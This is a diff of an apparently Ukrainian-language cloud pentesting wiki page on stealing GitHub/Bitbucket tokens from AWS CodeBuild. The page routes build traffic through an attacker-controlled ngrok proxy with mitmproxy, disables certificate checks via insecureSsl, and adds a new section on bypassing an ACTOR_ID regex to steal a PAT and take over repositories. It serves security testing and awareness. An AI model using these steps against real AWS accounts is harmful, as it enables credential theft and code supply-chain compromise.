diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index e70495c99..8619caab0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Відновлення токенів, налаштованих у Github/Bitbucket +## Відновлення налаштованих Tokens для Github/Bitbucket -Спочатку перевірте, чи є налаштовані облікові дані джерела, які ви могли б витікати: +Спочатку перевірте, чи є налаштовані source credentials, які ви могли б leak: ```bash aws codebuild list-source-credentials ``` ### Via Docker Image -Якщо ви виявите, що автентифікація, наприклад, до Github налаштована в обліковому записі, ви можете **екстрактувати** цей **доступ** (**GH token або OAuth token**), змусивши Codebuild **використовувати конкретний docker image** для виконання збірки проекту. +Якщо ви виявите, що автентифікація, наприклад до Github, налаштована в обліковому записі, ви можете **exfiltrate** той **access** (**GH token or OAuth token**) змусивши Codebuild **use an specific docker image** для виконання збірки проєкту. -Для цього ви можете **створити новий проект Codebuild** або змінити **середовище** існуючого, щоб налаштувати **Docker image**. +Для цього ви можете **create a new Codebuild project** або змінити **environment** існуючого проєкту, щоб вказати **Docker image**. -Docker image, який ви можете використовувати, це [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який налаштує **змінні середовища `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** та **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**. +The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Це дуже базовий Docker image, який встановить **env variables `https_proxy`**, **`http_proxy`** та **`SSL_CERT_FILE`**. Це дозволить вам перехоплювати більшість трафіку хоста, вказаного в **`https_proxy`** та **`http_proxy`**, і довіряти SSL CERT, вказаному в **`SSL_CERT_FILE`**. -1. **Створіть та завантажте свій власний Docker MitM image** -- Дотримуйтесь інструкцій репозиторію, щоб налаштувати IP-адресу проксі та налаштувати свій SSL сертифікат і **збудувати docker image**. -- **НЕ НАЛАШТОВУЙТЕ `http_proxy`**, щоб не перехоплювати запити до кінцевої точки метаданих. -- Ви можете використовувати **`ngrok`** як `ngrok tcp 4444`, щоб налаштувати проксі на вашому хості. -- Після того, як ви збудували Docker image, **завантажте його в публічний репозиторій** (Dockerhub, ECR...) -2. **Налаштуйте середовище** -- Створіть **новий проект Codebuild** або **змініть** середовище існуючого. -- Налаштуйте проект на використання **раніше згенерованого Docker image**. +1. **Create & Upload your own Docker MitM image** +- Дотримуйтеся інструкцій репо, щоб вказати IP-адресу проксі та встановити ваш SSL сертифікат і **build the docker image**. +- **DO NOT SET `http_proxy`** щоб не перехоплювати запити до метаданих endpoint. +- Ви можете використати **`ngrok`**, наприклад `ngrok tcp 4444`, щоб встановити proxy на ваш хост. +- Коли Docker image збудовано, **upload it to a public repo** (Dockerhub, ECR...) +2. **Set the environment** +- Створіть **new Codebuild project** або **modify** environment існуючого. +- Встановіть проєкт на використання **previously generated Docker image**
-3. **Налаштуйте MitM проксі на вашому хості** +3. **Set the MitM proxy in your host** -- Як вказано в **Github репозиторії**, ви можете використовувати щось на зразок: +- Як вказано в **Github repo**, ви можете використати щось на кшталт: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> **Використовувалася версія mitmproxy 9.0.1**, повідомлялося, що з версією 10 це може не спрацювати. +> Версія **mitmproxy 9.0.1** використовувалася; повідомлялося, що з версією 10 це може не працювати. -4. **Запустіть збірку та захопіть облікові дані** +4. **Запустіть збірку та перехопіть облікові дані** -- Ви можете побачити токен у заголовку **Authorization**: +- Ви можете побачити token у заголовку **Authorization**:
-Це також можна зробити з aws cli з чимось на зразок +Це також можна зробити через aws cli за допомогою команди на кшталт ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### Via insecureSSL +### Через insecureSSL -**Codebuild** проекти мають налаштування під назвою **`insecureSsl`**, яке приховане в вебі, і ви можете змінити його лише через API.\ -Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, запропонованого платформою. +**Codebuild** проекти мають налаштування під назвою **`insecureSsl`**, яке приховане у веб-інтерфейсі — його можна змінити тільки через API.\ +Увімкнення цього дозволяє Codebuild підключатися до репозиторію **без перевірки сертифіката**, який надає платформа. -- Спочатку вам потрібно перерахувати поточну конфігурацію за допомогою чогось на кшталт: +- Спочатку потрібно отримати поточну конфігурацію за допомогою чогось на кшталт: ```bash aws codebuild batch-get-projects --name ``` -- Потім, зібравши інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Наступний приклад показує, як я оновлюю проект, зверніть увагу на **`insecureSsl=True`** в кінці (це єдине, що потрібно змінити в зібраній конфігурації). -- Крім того, додайте також змінні середовища **http_proxy** та **https_proxy**, які вказують на ваш tcp ngrok, як: +- Потім, зібравши інформацію, ви можете оновити налаштування проекту **`insecureSsl`** на **`True`**. Нижче наведено приклад мого оновлення проекту, зверніть увагу на **`insecureSsl=True`** наприкінці (це єдина річ, яку потрібно змінити у зібраній конфігурації). +- Крім того, додайте також змінні оточення **http_proxy** і **https_proxy**, що вказують на ваш tcp ngrok, наприклад: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними проксі (http_proxy та https_proxy) +- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порті, який вказують proxy variables (http_proxy і https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Нарешті, натисніть на **Build the project**, **облікові дані** будуть **надіслані у відкритому тексті** (base64) на порт mitm: +- Нарешті натисніть **Build the project**, облікові дані будуть **надіслані у відкритому вигляді** (base64) на mitm порт:
-### ~~Via HTTP protocol~~ +### ~~Через протокол HTTP~~ -> [!TIP] > **Цю вразливість виправили AWS на деякий момент тижня 20 лютого 2023 року (я думаю, в п'ятницю). Тож зловмисник більше не може її зловживати :)** +> [!TIP] > **Цю вразливість AWS виправили приблизно того тижня, що починався 20 лютого 2023 року (вважаю, у п’ятницю). Тому зловмисник більше не може її використовувати :)** -Зловмисник з **підвищеними правами в CodeBuild може витікати токен Github/Bitbucket**, налаштований або, якщо права були налаштовані через OAuth, **тимчасовий OAuth токен, використаний для доступу до коду**. +Зловмисник з **підвищеними правами в CodeBuild міг би leak сконфігурований Github/Bitbucket token**, або, якщо права були налаштовані через OAuth, — **тимчасовий OAuth token, який використовується для доступу до коду**. -- Зловмисник міг би додати змінні середовища **http_proxy** та **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад, `http://5.tcp.eu.ngrok.io:14972`). +- Зловмисник може додати змінні середовища **http_proxy** і **https_proxy** до проекту CodeBuild, вказуючи на свою машину (наприклад `http://5.tcp.eu.ngrok.io:14972`).
- Потім змініть URL репозиторію github, щоб використовувати HTTP замість HTTPS, наприклад: `http://github.com/carlospolop-forks/TestActions` -- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порту, вказаному змінними проксі (http_proxy та https_proxy) +- Потім запустіть базовий приклад з [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) на порті, вказаному змінними проксі (http_proxy і https_proxy) ```python from mitm import MITM, protocol, middleware, crypto @@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Далі натисніть **Build the project** або запустіть збірку з командного рядка: +- Далі натисніть на **Build the project** або запустіть збірку з командного рядка: ```sh aws codebuild start-build --project-name ``` -- Нарешті, **облікові дані** будуть **надіслані у відкритому тексті** (base64) на порт mitm: +- Врешті-решт **credentials** будуть **відправлені у відкритому вигляді** (base64) на порт mitm:
> [!WARNING] -> Тепер зловмисник зможе використовувати токен зі своєї машини, перерахувати всі привілеї, які він має, і (зловживати) легше, ніж безпосередньо використовуючи сервіс CodeBuild. +> Тепер attacker зможе використовувати token зі своєї машини, переглянути всі privileges, які він має, і (ab)use значно простіше, ніж через сервіс CodeBuild безпосередньо. + +## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) + +Неправильно налаштовані CodeBuild GitHub webhooks, що використовують незакріплені `ACTOR_ID` regexes, дозволяють *untrusted* PRs запускати привілейовані збірки. Якщо allowlist виглядає як `123456|7890123` без `^`/`$`, будь-який ID, що містить один із цих підрядків, підходить. Оскільки GitHub user IDs є послідовними, attacker може змагатися, щоб зареєструвати “eclipsing” ID (суперрядок довіреного ID) і викликати збірку. + +**Шлях експлуатації** + +1. Знайдіть публічні CodeBuild проекти, що експонують webhook filters, і витягніть незакріплену `ACTOR_ID` allowlist. +2. Отримайте eclipsing GitHub ID: + - Пробуйте глобальний лічильник ID, створюючи/видаляючи GitHub orgs (org IDs використовують спільний пул). + - Попередньо підготуйте багато створень GitHub App manifest і активуйте confirmation URLs, коли лічильник буде приблизно в межах ~100 IDs від цілі, щоб масово зареєструвати bot ID, що містить довірений підрядок. +3. Відкрийте PR з eclipsing акаунта; regex співпаде з підрядком і privileged build запуститься. +4. Використайте build RCE (наприклад, dependency install hooks), щоб дампнути process memory, який обробляє GitHub credential, і відновити PAT/OAuth token. +5. Маючи token з `repo` scope, запросіть свій акаунт як collaborator/admin і запуште/підтвердіть шкідливі коміти або exfiltrate secrets. + +## References +- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) {{#include ../../../../banners/hacktricks-training.md}}